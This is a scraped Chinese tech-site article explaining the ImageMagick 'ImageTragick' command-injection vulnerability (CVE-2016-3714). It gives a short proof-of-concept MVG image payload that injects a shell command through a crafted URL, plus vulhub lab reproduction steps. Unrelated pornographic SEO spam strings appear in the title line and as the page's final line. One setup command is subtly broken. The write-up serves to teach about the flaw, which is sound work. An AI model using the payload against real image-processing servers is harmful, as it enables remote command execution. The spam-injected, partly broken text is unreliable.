色哟哟视频在线观看-色哟哟视频在线-色哟哟欧美15最新在线-色哟哟免费在线观看-国产l精品国产亚洲区在线观看-国产l精品国产亚洲区久久

0
  • 聊天消息
  • 系統消息
  • 評論與回復
登錄后你可以
  • 下載海量資料
  • 學習在線課程
  • 觀看技術視頻
  • 寫文章/發帖/加入社區
會員中心
創作中心

完善資料讓更多小伙伴認識你,還能領取20積分哦,立即完善>

3天內不再提示

一款使用量很廣的圖片處理程序ImageMagick

Android編程精選 ? 來源:小白學黑客 ? 作者:小白哥 ? 2022-08-16 10:18 ? 次閱讀

大家好,我是小白哥。

這兩天,關于QQ盜號的安全事件相信大家已經聽說了。各種各樣的傳言都有,一會兒數據庫泄露了,一會兒API漏洞了,一會兒又是協議漏洞了,還有的說掃描二維碼中招的,一時間眾說紛紜。

在眾多說法中,我看到了一個:只要點擊圖片就會中招!

好家伙,點圖片就能中招,這可厲害了,要是對方發來一些誘惑的圖片,年輕人把持不住那可咋整?

真有那么懸乎嗎?

這不禁讓我想起了幾年前的一個漏洞,也是圖片相關的,分享給大家看看。

那次漏洞的主角,是ImageMagick。

漏洞介紹

漏洞名稱:Imagemagick 命令注入漏洞(CVE-2016-3714)

漏洞定級:高危

漏洞描述:ImageMagick 在處理惡意構造的圖片文件時,對于文件中的 URL 未經嚴格過濾,可導致命令注入漏洞。通過命令注入漏洞,黑客可以在服務器上執行任意系統命令,獲取服務器權限。

影響范圍:ImageMagick 6.9.3-9本身及以前所有版本

漏洞原理

ImageMagick是一款使用量很廣的圖片處理程序,很多廠商都調用了這個程序進行圖片處理,包括圖片的伸縮、切割、水印、格式轉換等等。

但有研究者發現,當用戶傳入一個包含『畸形內容』的圖片的時候,就有可能觸發命令注入漏洞。

國外的安全人員為此新建了一個網站:https://imagetragick.com/

與這個漏洞相關的CVE有CVE-2016-3714CVE-2016-3715CVE-2016-3716CVE-2016-3717

其中最嚴重的就是CVE-2016-3714,利用這個漏洞可以造成遠程命令執行的危害。

ImageMagick有一個功能叫做delegate(委托),作用是調用外部的lib來處理文件。而調用外部lib的過程是使用系統的system命令來執行的

參考代碼:https://github.com/ImageMagick/ImageMagick/blob/e93e339c0a44cec16c08d78241f7aa3754485004/MagickCore/delegate.c#L347

我們在ImageMagick的默認配置文件里可以看到所有的委托:/etc/ImageMagick/delegates.xml漏洞報告中給出的POC是利用了如下的這個委托:

"https"command=""curl"-s-k-o"%o""https:%M""/>

它在解析https圖片的時候,使用了curl命令將其下載,我們看到%M被直接放在curl的最后一個參數內。

ImageMagick默認支持一種圖片格式,叫mvg,而mvg與svg格式類似,其中是以文本形式寫入矢量圖的內容,而這其中就可以包含https處理過程。

所以我們可以構造一個.mvg格式的圖片(但文件名可以不為.mvg,比如下圖中包含payload的文件的文件名為vul.gif,而ImageMagick會根據其內容識別為mvg圖片),并在https://后面閉合雙引號,寫入自己要執行的命令:

pushgraphic-context
viewbox00640480
fill‘url(https://"|id;")’
popgraphic-context

這樣,ImageMagick在正常執行圖片轉換、處理的時候就會觸發漏洞。

漏洞復現

  • 搭建靶機,教程:https://github.com/vulhub/vulhub/tree/master/imagemagick/imagetragick
  • 下載vulhub:git clone https://github.com/vulhub/vulhub/tree/master/imagemagick/imagetragick
  • 進入目錄:cd /vulhub-master/imagemagick/imagetragick
  • 啟動docker:docker-compose up -d 注意 我靶機 docker-compose.yml中端口為8888
6c4e0e0c-1cf7-11ed-ba43-dac502259ad0.png
  • 訪問搭建的靶機ip:8888
6c62c91e-1cf7-11ed-ba43-dac502259ad0.png
  • 上傳poc,新建一個txt文件,內容為:
pushgraphic-context
viewbox00640480
fill'url(https://"|id;")'
popgraphic-context

將文件保存為poc.gif

6c79b7a0-1cf7-11ed-ba43-dac502259ad0.png

上次poc.gif,點擊提交,成功執行:

6c91dbf0-1cf7-11ed-ba43-dac502259ad0.png

這年頭,除了鏈接,圖片也不敢隨便亂點了···

————————————————

漏洞原理和復現部分原文鏈接:https://blog.csdn.net/u011975363/article/details/118031227

審核編輯 :李倩


聲明:本文內容及配圖由入駐作者撰寫或者入駐合作網站授權轉載。文章觀點僅代表作者本人,不代表電子發燒友網立場。文章及其配圖僅供工程師學習之用,如有內容侵權或者其他違規問題,請聯系本站處理。 舉報投訴
  • 數據庫
    +關注

    關注

    7

    文章

    3816

    瀏覽量

    64448
  • 漏洞
    +關注

    關注

    0

    文章

    204

    瀏覽量

    15392
  • 圖片處理
    +關注

    關注

    0

    文章

    16

    瀏覽量

    6873

原文標題:看圖片也能中招!

文章出處:【微信號:AndroidPush,微信公眾號:Android編程精選】歡迎添加關注!文章轉載請注明出處。

收藏 人收藏

    評論

    相關推薦

    使用Python+OpenCV處理圖片

    如果給你圖片作為背景,另外圖片中的物體作為前景圖,要把前景圖中的物體疊加布置到背景圖的中間位置,并且前景圖中的物體需要在背景圖中有旋轉和投影,怎么
    的頭像 發表于 12-23 15:54 ?177次閱讀

    求推薦一款處理24V的差分編碼器信號的芯片

    你好,我們先前用的是SN65LBC175AD處理5V的差分編碼器信號,現在編碼器換成24V的,希望能推薦一款處理24V的差分編碼器信號的芯片,謝謝!
    發表于 12-18 06:52

    三星減少NAND生產光刻膠使用量

    近日,據相關報道,三星電子在3D NAND閃存生產領域取得了重要技術突破,成功大幅減少了光刻工藝中光刻膠的使用量。 據悉,三星已經制定了未來NAND閃存的生產路線圖,并計劃在這生產過程中,將光刻膠
    的頭像 發表于 11-27 11:00 ?252次閱讀

    如果設計一款桌面的機器玩具,最吸引人的外觀與功能要有哪些?

    初步設想制作如下其中一款,有感興趣的朋友可以幫提提意見。 A一款圓敦敦的音響狀的“個人日程助手”,具備番茄鬧鐘、音樂播放、減壓交互、語言對話、工作日報生成。 B一款迷你瓦利機器人,有
    發表于 10-19 18:25

    經過TAS5548EVM評估板處理輸出的PWM信號,可以用哪一款型號的數字功放評估板處理

    您好,我想了解下,經過TAS5548EVM評估板處理輸出的PWM信號,可以用哪一款型號的數字功放評估板處理?用TAS5631系列的板子處理
    發表于 10-18 07:13

    我想選一款音頻芯片,性能類似TAS2505-Q1的,帶有音頻處理和D類功放功能二合

    TI工程師你好!我想選一款音頻芯片,性能類似TAS2505-Q1的,帶有音頻處理和D類功放功能二合的,輸出功率是20~30W單路雙路輸出都可以,是否有這樣的芯片可選。謝謝!
    發表于 10-09 07:32

    基于ArkTS語言的OpenHarmony APP應用開發:圖片處理

    1、程序介紹本案例使用TextArea實現多文本輸入,使用mediaLibrary實現在相冊中獲取圖片,使用image生成pixelMap,使用pixelMap的scale(),crop
    的頭像 發表于 09-20 08:07 ?599次閱讀
    基于ArkTS語言的OpenHarmony APP應用開發:<b class='flag-5'>圖片</b><b class='flag-5'>處理</b>

    選用一款運放搭建單位增益運算放大電路遇到的問題求解

    當選用一款運放搭建單位增益運算放大電路的時候,經常遇到下面的問題,不知道這個問題的來源是什么? 輸入信號: 這是正弦信號是比較理想的,波形不存在問題。 輸出信號(下面的三幅圖片為依次放大后的情況): 可以看到,在輸出信號的波形中,存在細小的波紋。 那么,這種現實是
    發表于 08-22 06:32

    INA-138設計了一款電路,取樣后1腳的輸出不是個穩定的電平,如何處理

    設計了一款電路,使用到INA-138 ,SOT-23封裝,取樣后1腳的輸出不是個穩定的電平,如何處理
    發表于 08-12 06:51

    如何設計一款50HZ陷波電路?

    如何設計一款50HZ陷波電路,有現成的參考電路設計嗎
    發表于 07-30 06:12

    人工智能模型公司Anthropic近日推出了一款Claude移動端App

    制造Claude 3人工智能模型公司Anthropic近日推出了一款iOS應用程序,并為群組共享模型訪問添加第二個付費層。
    的頭像 發表于 05-08 09:55 ?702次閱讀

    百度搜索重磅推出AI圖片助手

    近日,百度搜索全新上線了一款名為“百度AI圖片助手”的智能工具,該工具賦予了用戶處理圖片的強大能力。無論是搜索中的
    的頭像 發表于 05-06 10:20 ?1493次閱讀

    一款以32位ARMCortexTM-M0處理器內核為基礎的高性價比安全MCU

    LKT6850是一款以32位ARMCortexTM -M0處理器內核為基礎的高性價比安全MCU。LKT6850具有最高64KBFlash、4KBRAM、48MHZ工作頻率,具有豐富的外設資源供開發人員使用。
    的頭像 發表于 04-19 16:05 ?674次閱讀

    如何設計一款四輪智能小車

    如何設計一款四輪智能小車 此部分共分為五個小節,通過這個 Part 的學習,我們將了解機器人的概念和組成,對機器人的整體設計有個明確的思路,然后通過機械結構、驅動系統、傳感系統、控制系統四大
    的頭像 發表于 03-26 10:58 ?797次閱讀
    如何設計<b class='flag-5'>一款</b>四輪智能小車

    介紹一款基于java的滲透測試神器-CobaltStrike

    Cobalt Strike是一款基于java的滲透測試神器,常被業界人稱為CS神器。
    的頭像 發表于 01-16 09:16 ?998次閱讀
    介紹<b class='flag-5'>一款</b>基于java的滲透測試神器-CobaltStrike
    主站蜘蛛池模板: 美女快播第一网| 精品一成人岛国片在线观看| 国产欧美一区二区三区免费| 蜜柚视频网在线观看免费| 一边啪啪的一边呻吟声口述 | 国产午夜精品一区二区三区 | 欧美成人3d动漫专区| 在线观看永久免费网站| 国产亚洲精品久久久久久鸭绿欲| 手机在线观看毛片| 大桥未久在线看| 色色色五的天| 国产精品A8198V久久A片| 手机观看毛片| 国产激情一级毛片久久久| 三级黄色在线视频| 国产白丝精品爽爽久久久久久蜜臀 | 在线va无卡无码高清| 久久久GOGO无码啪啪艺术| 在线观看亚洲专区5555| 美女被日出水| chinese学生gv video| 日本日本熟妇中文在线视频| 丰满大屁俄罗斯肥女| 脱女学小内内摸出水网站免费| 国产精品免费小视频| 亚洲精品天堂在线观看| 久久国产主播福利在线| 97干97吻| 日日操日日射| 国产亚洲精品久久综合阿香| 夜夜骑夜夜欢| 欧美日韩亚洲中字二区| 国产高清视频免费最新在线| 亚洲无遮挡无码A片在线| 迈开腿让我看下你的小草莓声音| JIZJIZJIZ 日本老师水多| 歪歪漫画羞羞漫画国产| 久草草在线视视频| WW.国产人妻人伦精品| 小SB几天没做SAO死了H|